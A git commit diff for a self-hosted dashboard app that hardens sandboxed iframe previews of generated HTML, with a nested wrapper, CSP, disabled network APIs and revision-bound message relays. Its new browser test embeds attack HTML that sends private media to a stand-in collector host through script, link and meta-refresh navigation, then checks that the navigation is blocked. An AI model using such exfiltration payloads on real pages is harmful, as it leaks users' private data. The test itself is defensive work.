Self-hosted, Self-Improving, Federated Everything App — dev management, agent orchestration, persistent mind, digital twin, second brain, and creative pipeline from a single dashboard over Tailscale to port the user into the OS
JavaScript ai-agentsdashboarddeveloper-toolsdigital-twinquantified-selfsecond-brainself-hostedtailscale
fix: contain generated preview URL navigation and retire stale media bridges (#11139)
Adam Eivy2c43cd80c843
diff --git a/client/src/components/codeAnimation/CodeAnimationPreview.jsx b/client/src/components/codeAnimation/CodeAnimationPreview.jsxindex e299c4914d..0a22da9427 100644--- a/client/src/components/codeAnimation/CodeAnimationPreview.jsx+++ b/client/src/components/codeAnimation/CodeAnimationPreview.jsx@@ -1,4 +1,6 @@import { useEffect, useMemo, useRef, useState } from 'react';+import { uuidv4 } from '../../lib/uuid.js';+import { buildGeneratedPreviewSandbox } from '../../../../server/lib/generatedPreviewSandbox.js';import { Circle, Clapperboard, Download, FileCode2, LoaderCircle, Save } from 'lucide-react';import { Link } from 'react-router';import toast from '../ui/Toast';@@ -75,8 +77,8 @@ const blobToDataUrl = (blob) => new Promise((resolve, reject) => {* Runs a generated code animation in an opaque-origin sandboxed iframe. Its* CSP permits the inline code and local media the film needs, while blocking* network-backed subresources, fetch/websocket, and form submissions. Browser- * sandboxing still permits the frame to navigate itself, so this is not a- * complete network isolation boundary for arbitrary hostile HTML. It also drives+ * navigation is restricted by a trusted outer document that relays only the+ * recording protocol for this revision. It also drives* the prompt's recording handshake: Record posts `messages.record`, the page* answers with the WebM Blob, which can be downloaded or saved to the shared* video gallery.@@ -185,6 +187,15 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGlreturn prepareAnimationHtml(html, audioGlobal, audio.dataUrl, vendorFiles);}, [html, audioGlobal, audioChoice, audio, needsThree, vendorFiles]);+ const sandbox = useMemo(() => {+ if (!srcDoc || !messages) return null;+ const revision = uuidv4();+ return { revision, html: buildGeneratedPreviewSandbox(srcDoc, { revision,+ fromChild: [messages.ready, messages.progress, messages.recorded, messages.error],+ toChild: [messages.record],+ }) };+ }, [srcDoc, messages]);+useEffect(() => {clearTimeout(recordTimerRef.current);setMeta(null);@@ -204,7 +215,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGluseEffect(() => {if (!messages) return undefined;const onMessage = (event) => {- if (!iframeRef.current || event.source !== iframeRef.current.contentWindow) return;+ if (!iframeRef.current || event.source !== iframeRef.current.contentWindow || event.data?.previewRevision !== sandbox?.revision) return;const data = event.data;if (!data || typeof data !== 'object') return;if (data.type === messages.ready) setMeta(data.meta && typeof data.meta === 'object' ? data.meta : {});@@ -222,7 +233,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl};window.addEventListener('message', onMessage);return () => window.removeEventListener('message', onMessage);- }, [messages]);+ }, [messages, sandbox]);const duration = Number(meta?.duration) || frame?.durationSeconds || 0;const fileBase = slug(title);@@ -295,15 +306,17 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGlreturn (<section className="space-y-3" aria-label="Animation preview"><div className="overflow-hidden rounded-lg border border-port-border bg-black" style={{ aspectRatio: aspect, maxHeight: '70vh' }}>- {srcDoc ? (+ {sandbox ? (<iframe+ key={sandbox.revision}+ data-preview-revision={sandbox.revision}ref={iframeRef}title="Code animation preview"// No allow-same-origin: generated code has an opaque origin. The// injected CSP also blocks network resource and connection APIs.- sandbox="allow-scripts allow-downloads"+ sandbox="allow-scripts"allow="autoplay"- srcDoc={srcDoc}+ srcDoc={sandbox.html}className="h-full w-full border-0"/>) : audioChoice == null ? (@@ -311,7 +324,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl<h3 className="text-base font-semibold text-white">Preview paused</h3><p className="max-w-xl text-sm text-gray-200">Choose whether to run this generated animation with its selected audio track. The preview is paused until you choose.- The animation can navigate itself, so its code could send that track outside PortOS. Continue only if you trust it.+ Navigation is restricted, but generated code can still use browser network capabilities to send this track outside PortOS. Continue only if you trust it.</p><div className="flex flex-wrap justify-center gap-2"><buttondiff --git a/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx b/client/src/components/codeAnimation/CodeAnimationPreview.test.jsxindex 8fa921ec6e..a7c62e1dd2 100644--- a/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx+++ b/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx@@ -21,7 +21,10 @@ const renderPreview = ({ audioUrl = null, jobId, html = HTML } = {}) => render(</MemoryRouter>,);+const childHtml = (frame) => JSON.parse(/frame.srcdoc = (.*);/.exec(frame.getAttribute('srcdoc'))[1]);const postFromFrame = (source, data) => act(async () => {+ const frame = [...document.querySelectorAll('iframe')].find((el) => el.contentWindow === source);+ data = { ...data, previewRevision: frame?.dataset.previewRevision };window.dispatchEvent(new MessageEvent('message', { data, source }));});@@ -66,7 +69,7 @@ describe('CodeAnimationPreview', () => {const three = "<!DOCTYPE html><html><head></head><body><script type=\"module\">import * as THREE from 'three';</script></body></html>";renderPreview({ html: three });const frame = await screen.findByTitle('Code animation preview');- const srcDoc = frame.getAttribute('srcdoc');+ const srcDoc = childHtml(frame);expect(srcDoc).toContain("script-src 'unsafe-inline' data:");expect(srcDoc).toContain("connect-src 'none'");expect(srcDoc.indexOf('Content-Security-Policy')).toBeLessThan(srcDoc.indexOf('type="importmap"'));@@ -79,7 +82,7 @@ describe('CodeAnimationPreview', () => {// A film that does not import three never fetches the modules or gets the wider policy.getCodeAnimationThreeVendor.mockClear();renderPreview();- expect((await screen.findAllByTitle('Code animation preview')).at(-1).getAttribute('srcdoc')).toContain("script-src 'unsafe-inline'; style-src");+ expect(childHtml((await screen.findAllByTitle('Code animation preview')).at(-1))).toContain("script-src 'unsafe-inline'; style-src");expect(getCodeAnimationThreeVendor).not.toHaveBeenCalled();});@@ -98,8 +101,8 @@ describe('CodeAnimationPreview', () => {const user = userEvent.setup();renderPreview();const frame = screen.getByTitle('Code animation preview');- expect(frame.getAttribute('sandbox')).toBe('allow-scripts allow-downloads');- expect(frame.getAttribute('srcdoc')).toContain("connect-src 'none'");+ expect(frame.getAttribute('sandbox')).toBe('allow-scripts');+ expect(childHtml(frame)).toContain("connect-src 'none'");const target = frame.contentWindow;const postMessage = vi.spyOn(target, 'postMessage');@@ -126,14 +129,14 @@ describe('CodeAnimationPreview', () => {expect(screen.getByRole('heading', { name: 'Preview paused' })).toBeInTheDocument();expect(screen.getByText(/preview is paused until you choose/i)).toBeInTheDocument();- expect(screen.getByText(/could send that track outside PortOS/i)).toBeInTheDocument();+ expect(screen.getByText(/send this track outside PortOS/i)).toBeInTheDocument();expect(fetchMock).not.toHaveBeenCalled();expect(screen.queryByTitle('Code animation preview')).not.toBeInTheDocument();await user.click(screen.getByRole('button', { name: 'Run with audio' }));const frame = await screen.findByTitle('Code animation preview');expect(fetchMock).toHaveBeenCalledWith('/api/uploads/audio/example.wav', { credentials: 'same-origin' });- expect(frame.getAttribute('srcdoc')).toContain('window["ANIMATION_AUDIO_URL"] = "data:audio/');+ expect(childHtml(frame)).toContain('window["ANIMATION_AUDIO_URL"] = "data:audio/');});it('lets the user preview without audio and never fetches the selected track', async () => {@@ -145,7 +148,7 @@ describe('CodeAnimationPreview', () => {await user.click(screen.getByRole('button', { name: 'Preview without audio' }));const frame = await screen.findByTitle('Code animation preview');expect(fetchMock).not.toHaveBeenCalled();- expect(frame.getAttribute('srcdoc')).not.toContain('ANIMATION_AUDIO_URL');+ expect(childHtml(frame)).not.toContain('ANIMATION_AUDIO_URL');});});diff --git a/client/src/components/codeAnimation/GeneratedPreview.browser.test.js b/client/src/components/codeAnimation/GeneratedPreview.browser.test.jsnew file mode 100644index 0000000000..2124369d54--- /dev/null+++ b/client/src/components/codeAnimation/GeneratedPreview.browser.test.js@@ -0,0 +1,85 @@+// @vitest-environment node+import { afterAll, beforeAll, describe, expect, it } from 'vitest';+import { existsSync } from 'node:fs';+import { fileURLToPath } from 'node:url';+import { join } from 'node:path';+import { chromium } from 'playwright-core';+import { createServer } from 'vite';+import react from '@vitejs/plugin-react';+import { BROWSER_FIXTURE_STARTUP_MS, startBrowserFixture } from '../../test/browserFixture.js';++const chrome = [process.env.CHROME_PATH, chromium.executablePath(), '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', '/usr/bin/google-chrome', '/usr/bin/chromium'].find(p => p && existsSync(p));+const collector = 'https://collector.invalid/';++describe.skipIf(!chrome)('generated preview navigation boundary in Chrome', () => {+ let fixture;+ beforeAll(async () => {+ fixture = await startBrowserFixture({ name: 'generated-preview', createServer, chromium,+ launchOptions: { executablePath: chrome }, viteConfig: temp => ({+ root: fileURLToPath(new URL('../../..', import.meta.url)), configFile: false, cacheDir: join(temp, 'vite'),+ optimizeDeps: { entries: ['src/components/codeAnimation/CodeAnimationPreview.jsx', 'src/components/musicVideo/CompositionPreviewPlayer.jsx'], include: ['react', 'react-dom/client', 'react-router', 'lucide-react'] },+ plugins: [react(), {+ name: 'generated-preview-fixture',+ resolveId(id) { if (id === '/fixture.jsx') return '\0fixture.jsx'; },+ load(id) {+ if (id.endsWith('/services/apiMusicVideo.js')) return `export async function getMusicVideoCompositionPreview() { return { html: window.fixtureHtml, assets: [{key:'private',url:'/synthetic'}],durationSec:5 }; } export const getMusicVideoLyricPlaythroughPreview=getMusicVideoCompositionPreview; export async function fetchMusicVideoPreviewAsset() { window.fetches++; return new Blob(['SYNTHETIC_PRIVATE_ASSET']); }`;+ if (id.endsWith('/services/api.js')) return 'export const cancelCodeAnimationExport = () => {}; export const exportCodeAnimation = () => {}; export const getCodeAnimationPackage = () => {}; export const getCodeAnimationThreeVendor = () => {}; export const uploadGalleryVideo = () => {};';+ if (id.endsWith('/hooks/useSseProgress.js')) return 'export const useSseProgress = () => ({latest:null});';+ if (id !== '\0fixture.jsx') return;+ return `import React from 'react';import{createRoot}from'react-dom/client';import{MemoryRouter}from'react-router';import Code from '/src/components/codeAnimation/CodeAnimationPreview.jsx';import Music from '/src/components/musicVideo/CompositionPreviewPlayer.jsx';+ const root=createRoot(document.getElementById('root'));window.fetches=0;+ window.mount=(mode,html)=>{window.fixtureHtml=html;root.render(React.createElement(MemoryRouter,null, mode==='music'?React.createElement(Music,{key:html,project:{id:'synthetic',composition:{document:{directory:'synthetic'}}}}):React.createElement(Code,{key:html,html,audioUrl:'data:audio/wav;base64,U1lOVEhFVElDX0FVRElP',audioGlobal:'AUDIO',messages:{ready:'ca:ready',record:'ca:record',recorded:'ca:recorded',progress:'ca:progress',error:'ca:error'},frame:{durationSeconds:1}})));};`;+ },+ configureServer(vite) { vite.middlewares.use('/preview-test', async (_req,res) => { res.setHeader('Content-Type','text/html');res.end(await vite.transformIndexHtml('/preview-test','<div id="root"></div><script type="module" src="/fixture.jsx"></script>')); }); },+ }], server: { host: '127.0.0.1', port: 0 },+ }),+ });+ }, BROWSER_FIXTURE_STARTUP_MS);+ afterAll(() => fixture?.close());++ it.each(['script', 'link', 'refresh'])('blocks %s navigation with bridged media and selected audio', async method => {+ const page = await fixture.browser.newPage();+ page.setDefaultTimeout(5000);+ page.on('pageerror', e => console.error(e.message));+ const requests = [];+ await page.route(`${collector}**`, route => { requests.push(route.request().url()); return route.fulfill({ body:'collector' }); });+ try {+ await page.goto(`${fixture.origin}preview-test`);+ await page.waitForFunction(() => !!window.mount);+ await page.evaluate(() => { window.received = []; window.addEventListener('message', e => { if(e.data?.type === 'test:received') window.received.push(e.data); }); });+ for (const mode of ['music', 'code']) {+ const attack = method === 'script' ? 'location.href=url' : method === 'link' ? "const a=document.createElement('a');a.href=url;document.body.append(a);a.click()" : "const m=document.createElement('meta');m.httpEquiv='refresh';m.content='0;url='+url;document.head.append(m)";+ const html = `<html><head></head><body><script>const attack=secret=>{let opaque=false;try{parent.document.body}catch{opaque=true}top.postMessage({type:'test:received',secret,opaque},'*');const url='${collector}?secret='+encodeURIComponent(secret);${attack};};addEventListener('message',async e=>{if(e.data.type==='portos-mv:manifest')parent.postMessage({type:'portos-mv:request',key:e.data.keys[0]},'*');if(e.data.type==='portos-mv:asset') {document.body.dataset.received=await e.data.blob.text();attack(document.body.dataset.received);}if(e.data.type==='ca:record')parent.postMessage({type:'ca:recorded',blob:new Blob(['synthetic recording'],{type:'video/webm'})},'*');});parent.postMessage({type:'${mode==='music'?'portos-mv:loaded':'ca:ready'}'},'*');if(window.AUDIO){document.body.dataset.received=window.AUDIO;attack(window.AUDIO);}</script></body></html>`;+ await page.evaluate(({mode,html}) => window.mount(mode,html), {mode,html});+ if(mode==='code') await page.getByRole('button',{name:'Run with audio'}).click();+ await page.waitForFunction(count => window.received.length === count, mode === 'music' ? 1 : 2);+ const received = await page.evaluate(() => window.received.at(-1));+ expect(received.secret).toContain(mode === 'music' ? 'SYNTHETIC_PRIVATE_ASSET' : 'data:audio/');+ expect(received.opaque).toBe(true);+ // Blocked navigation may replace the inner document with a browser error page.+ await page.waitForTimeout(100);+ expect(requests).toEqual([]);+ if (mode === 'music') expect(await page.evaluate(() => window.fetches)).toBe(1);+ }+ } finally { await page.close(); }+ }, 30000);+ it('relays module readiness and recording Blobs through the actual animation component', async () => {+ const page = await fixture.browser.newPage();+ page.setDefaultTimeout(5000);+ try {+ await page.goto(`${fixture.origin}preview-test`);+ await page.waitForFunction(() => !!window.mount);+ const html = `<body><script type="module">const value=42;document.body.textContent=String(value);parent.postMessage({type:'ca:ready'},'*');addEventListener('message',e=>{if(e.data.type==='ca:record')parent.postMessage({type:'ca:recorded',blob:new Blob(['synthetic recording'],{type:'video/webm'})},'*')});</script></body>`;+ await page.evaluate(html => window.mount('code', html), html);+ await page.getByRole('button', { name: 'Preview without audio' }).click();+ await page.getByText('Animation ready', { exact: true }).waitFor();+ expect(await page.frameLocator('iframe').frameLocator('iframe').locator('body').innerText()).toBe('42');+ await page.getByRole('button', { name: 'Record (real-time)' }).click();+ await page.getByLabel('Recorded animation').waitFor();+ const download = page.waitForEvent('download');+ await page.getByRole('button', { name: 'Download WebM' }).click();+ expect((await download).suggestedFilename()).toBe('code-animation.webm');+ } finally { await page.close(); }+ }, 30000);++});diff --git a/client/src/components/musicVideo/CompositionPreviewPlayer.jsx b/client/src/components/musicVideo/CompositionPreviewPlayer.jsxindex 92e7ae9912..e1a5d239e5 100644--- a/client/src/components/musicVideo/CompositionPreviewPlayer.jsx+++ b/client/src/components/musicVideo/CompositionPreviewPlayer.jsx@@ -1,4 +1,6 @@import { useCallback, useEffect, useMemo, useRef, useState } from 'react';+import { uuidv4 } from '../../lib/uuid.js';+import { buildGeneratedPreviewSandbox, MUSIC_VIDEO_PREVIEW_MESSAGES } from '../../../../server/lib/generatedPreviewSandbox.js';import { Pause, Play } from 'lucide-react';import { normalizeTitleCard } from '../../../../server/lib/musicVideoTitleCard.js';import { fetchMusicVideoPreviewAsset, getMusicVideoCompositionPreview, getMusicVideoLyricPlaythroughPreview } from '../../services/apiMusicVideo.js';@@ -63,6 +65,8 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekRequesconst doc = lyrics ? { playthrough: true } : (draft ? project.composition?.documentDraft : project.composition?.document) || null;const scrubId = givenScrubId || (lyrics ? 'mv-lyrics-scrub' : draft ? 'mv-doc-draft-scrub' : 'mv-doc-scrub');const [preview, setPreview] = useState(null);+ const sandbox = useMemo(() => preview?.html ? { revision: uuidv4(), html: preview.html } : null, [preview]);+ const sandboxHtml = useMemo(() => sandbox ? buildGeneratedPreviewSandbox(sandbox.html, { revision: sandbox.revision, ...MUSIC_VIDEO_PREVIEW_MESSAGES }) : null, [sandbox]);const [previewError, setPreviewError] = useState('');const [status, setStatus] = useState('');const [wanted, setWanted] = useState(() => !startsDeferred(collapsed));@@ -153,7 +157,7 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekRequesreturn inFlight.get(url);};const onMessage = async (event) => {- if (event.source !== iframeRef.current?.contentWindow) return;+ if (event.source !== iframeRef.current?.contentWindow || event.data?.previewRevision !== sandbox?.revision) return;const message = event.data || {};const state = seekState.current;if (message.type === 'portos-mv:loaded') {@@ -171,7 +175,7 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekRequesconst asset = byKey.get(key);const blob = asset ? await mediaFor(asset.url) : null;if (!blob) { missing = true; showStatus(); }- if (active) event.source.postMessage({ type: 'portos-mv:asset', key, blob }, '*');+ if (active && event.source === iframeRef.current?.contentWindow) event.source.postMessage({ type: 'portos-mv:asset', key, blob }, '*');} else if (message.type === 'portos-mv:seeked') {if (firstFrame) { firstFrame = false; showStatus(); }state.inFlight = false;@@ -187,7 +191,7 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekRequesreturn () => { active = false; window.removeEventListener('message', onMessage); };// `t` is read once when the page loads; later seeks go through postSeek.// eslint-disable-next-line react-hooks/exhaustive-deps- }, [preview, postSeek]);+ }, [preview, sandbox, postSeek]);const duration = preview?.durationSec || 0;const fps = preview?.fps || 24;@@ -241,7 +245,7 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekReques<div className={`overflow-hidden rounded border border-port-border bg-black mx-auto ${collapsed ? 'max-xl:hidden' : ''}`}style={{ aspectRatio: aspect, maxHeight: '70vh', maxWidth: '100%' }}>{preview?.html ? (- <iframe ref={iframeRef} title={lyrics ? 'Lyric timing playthrough' : draft ? 'Composition candidate preview' : 'Composition document preview'} sandbox="allow-scripts" srcDoc={preview.html} className="h-full w-full" />+ <iframe key={sandbox.revision} data-preview-revision={sandbox.revision} ref={iframeRef} title={lyrics ? 'Lyric timing playthrough' : draft ? 'Composition candidate preview' : 'Composition document preview'} sandbox="allow-scripts" srcDoc={sandboxHtml} className="h-full w-full" />) : (<p className="p-3 text-xs text-port-text-muted">{previewError ? '' : 'Building the preview…'}</p>)}diff --git a/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx b/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsxindex 5288fa9160..255ba157f5 100644--- a/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx+++ b/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx@@ -28,7 +28,7 @@ describe('CompositionPreviewPlayer', () => {const frame = await screen.findByTitle('Composition document preview');const post = vi.spyOn(frame.contentWindow, 'postMessage');const send = (data) => act(async () => {- window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data }));+ window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } }));});// findByTitle can resolve before React flushes the passive effect that attaches the message listener, so a// `loaded` sent that early is dropped; repeat it until the player answers with its manifest.@@ -63,6 +63,25 @@ describe('CompositionPreviewPlayer', () => {expect(screen.queryByText('Some preview media could not be loaded')).toBeInTheDocument();});+ it('retires a revision before delivering an in-flight media response and rejects forged revision messages', async () => {+ let resolveAsset;+ api.fetchMusicVideoPreviewAsset.mockImplementation(() => new Promise(resolve => { resolveAsset = resolve; }));+ api.getMusicVideoCompositionPreview.mockResolvedValue({ html: '<p>one</p>', assets: [{ key: 'private', url: '/synthetic' }], durationSec: 5 });+ const { rerender } = render(<CompositionPreviewPlayer project={project} />);+ const frame = await screen.findByTitle('Composition document preview');+ const post = vi.spyOn(frame.contentWindow, 'postMessage');+ await act(async () => window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow,+ data: { type: 'portos-mv:request', key: 'private', previewRevision: 'wrong' } })));+ expect(api.fetchMusicVideoPreviewAsset).not.toHaveBeenCalled();+ await act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow,+ data: { type: 'portos-mv:request', key: 'private', previewRevision: frame.dataset.previewRevision } })); });+ expect(api.fetchMusicVideoPreviewAsset).toHaveBeenCalledOnce();+ rerender(<CompositionPreviewPlayer project={{ ...project, composition: { document: { ...DOCUMENT, updatedAt: 'next' } } }} />);+ await waitFor(() => expect(screen.getByTitle('Composition document preview')).not.toBe(frame));+ await act(async () => resolveAsset(new Blob(['private'])));+ expect(post).not.toHaveBeenCalledWith(expect.objectContaining({ type: 'portos-mv:asset' }), '*');+ });+it('answers a failed fetch with no blob and reports the missing media once the first frame is drawn', async () => {api.fetchMusicVideoPreviewAsset.mockRejectedValue(new Error('Example unavailable asset'));const { send, ask } = await loadPreview([{ key: 'media/scene-a.png', url: '/preview/scene-a' }]);@@ -96,7 +115,7 @@ describe('CompositionPreviewPlayer', () => {const { rerender } = render(<CompositionPreviewPlayer project={{ ...project, filmLook: look }} audioUrl={null} />);const frame = await screen.findByTitle('Composition document preview');const post = vi.spyOn(frame.contentWindow, 'postMessage');- const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data })); });+ const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } })); });await waitFor(async () => {await send({ type: 'portos-mv:loaded' });expect(post).toHaveBeenCalledWith({ type: 'portos-mv:film-look', look }, '*');@@ -121,7 +140,7 @@ describe('CompositionPreviewPlayer', () => {const { rerender } = render(<CompositionPreviewPlayer project={{ ...project, titleCard: card }} audioUrl={null} />);const frame = await screen.findByTitle('Composition document preview');const post = vi.spyOn(frame.contentWindow, 'postMessage');- const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data })); });+ const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } })); });await waitFor(async () => {await send({ type: 'portos-mv:loaded' });expect(post).toHaveBeenCalledWith({ type: 'portos-mv:title-card', card: expect.objectContaining({ title: 'Example Song', position: 'lower-left' }) }, '*');diff --git a/docs/HTML_COMPOSITIONS.md b/docs/HTML_COMPOSITIONS.mdindex 013f187e44..588cb3ea8a 100644--- a/docs/HTML_COMPOSITIONS.md+++ b/docs/HTML_COMPOSITIONS.md@@ -457,8 +457,14 @@ least 0.8s, and sung type stays at least 56px at 1080p. Palette tokensoptions. Upgrading a pre-module layered engine adds the module's two tags infront of the template's engine tag.-The in-app preview is a self-contained `srcdoc` in an opaque-origin sandbox-with no network: the server inlines the document's scripts, stylesheets and+The in-app preview nests its self-contained `srcdoc` in an opaque-origin sandbox+inside a trusted wrapper. The wrapper's immutable `frame-src 'none'` policy+blocks generated-page URL navigation and CSP-controlled network subresources.+This is not complete network isolation: descendant srcdoc realms can regain+WebRTC capabilities outside the original page guards (tracked in #11157).+Only preview generated content you trust with the media made available to it. It relays only+the preview protocol from its one child, stamped with the current preview revision;+replacements retire the old bridge and pending media responses. The server inlines the document's scripts, stylesheets andsmall assets, and the scrubber posts `portos-mv:seek` messages. Larger mediais bridged on demand: the PortOS page posts only the list of files(`window.PORTOS_MV_ASSETS` resolves to `{ src: src }`), and the first time adiff --git a/server/lib/README.md b/server/lib/README.mdindex cceb194705..c33d58dc16 100644--- a/server/lib/README.md+++ b/server/lib/README.md@@ -888,3 +888,5 @@ The barrel `server/lib/index.js` is a machine-checkable enumeration of every pub| `deepAudit.js` | Strict Deep audit checkpoint schema, scope invalidation, server-assigned passes and mechanical completion rules. |- `auditWorkflow.js`: versioned extended Deep execution and historical certification classification.++| `generatedPreviewSandbox.js` | Browser-safe trusted wrapper for generated previews, child navigation containment and revision-bound typed media/recording relay. |diff --git a/server/lib/generatedPreviewSandbox.js b/server/lib/generatedPreviewSandbox.jsnew file mode 100644index 0000000000..216f005cad--- /dev/null+++ b/server/lib/generatedPreviewSandbox.js@@ -0,0 +1,51 @@+/** Browser-safe containment for generated HTML. The trusted outer document owns+ * the navigation policy; generated code never shares its DOM or origin.+ * srcdoc boots under frame-src 'none', but a child's URL navigation is blocked.+ */+export const GENERATED_PREVIEW_CSP = [+ "default-src 'none'", "script-src 'unsafe-inline' data:", "style-src 'unsafe-inline'",+ 'img-src data: blob:', 'media-src data: blob:', 'font-src data: blob:',+ "connect-src 'none'", "frame-src 'none'", "object-src 'none'", "worker-src 'none'",+ "base-uri 'none'", "form-action 'none'", "manifest-src 'none'",+].join('; ');++const literal = (value) => JSON.stringify(value).replace(/</g, '\\u003c');++export const MUSIC_VIDEO_PREVIEW_MESSAGES = {+ fromChild: ['portos-mv:loaded', 'portos-mv:request', 'portos-mv:seeked', 'portos-mv:error'],+ toChild: ['portos-mv:manifest', 'portos-mv:asset', 'portos-mv:seek', 'portos-mv:film-look', 'portos-mv:title-card'],+};++export function buildGeneratedPreviewSandbox(html, { revision, fromChild, toChild }) {+ // Install the guards before ANY provider markup, including markup before its head.+ const guarded = `<script>for (const key of ['RTCPeerConnection', 'webkitRTCPeerConnection', 'WebTransport', 'Worker', 'SharedWorker', 'WebSocket']) {+ Object.defineProperty(globalThis, key, { configurable: false, writable: false,+ value: function() { throw new Error(key + ' is disabled in previews'); } });+ }</script>${html}`;+ return `<!doctype html><html><head><meta http-equiv="Content-Security-Policy" content="${GENERATED_PREVIEW_CSP}"><style>html,body,iframe{margin:0;width:100%;height:100%;border:0;overflow:hidden}</style></head><body><script>(() => {+ const revision = ${literal(revision)};+ const fromChild = new Set(${literal(fromChild)});+ const toChild = new Set(${literal(toChild)});+ const frame = document.createElement('iframe');+ frame.sandbox = 'allow-scripts';+ frame.allow = 'autoplay';+ frame.referrerPolicy = 'no-referrer';+ frame.srcdoc = ${literal(guarded)};+ let active = true;+ let loaded = false;+ const stop = () => { active = false; window.removeEventListener('message', relay); };+ const relay = (event) => {+ if (!active || !event.data || typeof event.data !== 'object') return;+ if (event.source === parent && toChild.has(event.data.type)) {+ frame.contentWindow.postMessage(event.data, '*');+ } else if (event.source === frame.contentWindow && fromChild.has(event.data.type)) {+ parent.postMessage({ ...event.data, previewRevision: revision }, '*');+ }+ };+ // A second document never inherits a bridge, even for a non-network navigation.+ frame.addEventListener('load', () => { if (loaded) stop(); loaded = true; });+ window.addEventListener('message', relay);+ window.addEventListener('pagehide', stop, { once: true });+ document.body.append(frame);+ })();</script></body></html>`;+}diff --git a/server/lib/index.js b/server/lib/index.jsindex 9c3be7bfe0..6052f32eaf 100644--- a/server/lib/index.js+++ b/server/lib/index.js@@ -870,3 +870,5 @@ export * from './deepAudit.js';export * from './deepAuditCoverage.js';export * from './auditWorkflow.js';++export * from './generatedPreviewSandbox.js';diff --git a/server/services/musicVideo/documentPreview.js b/server/services/musicVideo/documentPreview.jsindex 77fc016081..60aeee8fd8 100644--- a/server/services/musicVideo/documentPreview.js+++ b/server/services/musicVideo/documentPreview.js@@ -6,9 +6,10 @@ import { titleCardRuntimeSource } from '../../lib/musicVideoTitleCard.js';* Music Video — the in-app live preview of a composition document.** The preview runs in an opaque-origin `<iframe sandbox="allow-scripts"- * srcdoc>` that can reach nothing on the network (its CSP allows only inline- * code and data:/blob: assets), so it can never call PortOS with the user's- * session. The server therefore hands the client ONE self-contained page:+ * srcdoc>` inside the trusted generatedPreviewSandbox wrapper. The wrapper blocks+ * child navigation; the inherited CSP allows only inline+ * code and data:/blob: assets. This is URL/subresource containment, not a+ * complete network boundary (fresh-realm WebRTC is tracked in #11157). The server therefore hands the client ONE self-contained page:** - the document's own scripts and stylesheets inlined, and every file its* CSS or `<img>` tags name inlined as a data: URL;@@ -63,8 +64,10 @@ const cleanRef = (ref) => {// Runs before any document script: asset bridge, relative-src mapping, seek/layout messages.const BOOTSTRAP = `(() => {- // CSP does not block ICE/STUN. Match the render host before document code runs.+ // CSP does not block ICE/STUN. Keep the direct document guard too: render/test+ // consumers may load this document without the application's outer wrapper.for (const key of ['RTCPeerConnection', 'webkitRTCPeerConnection', 'WebTransport', 'Worker', 'SharedWorker', 'WebSocket']) {+ if (Object.getOwnPropertyDescriptor(globalThis, key)?.configurable === false) continue;Object.defineProperty(globalThis, key, { configurable: false, writable: false,value: function() { throw new Error(key + ' is disabled in compositions'); } });}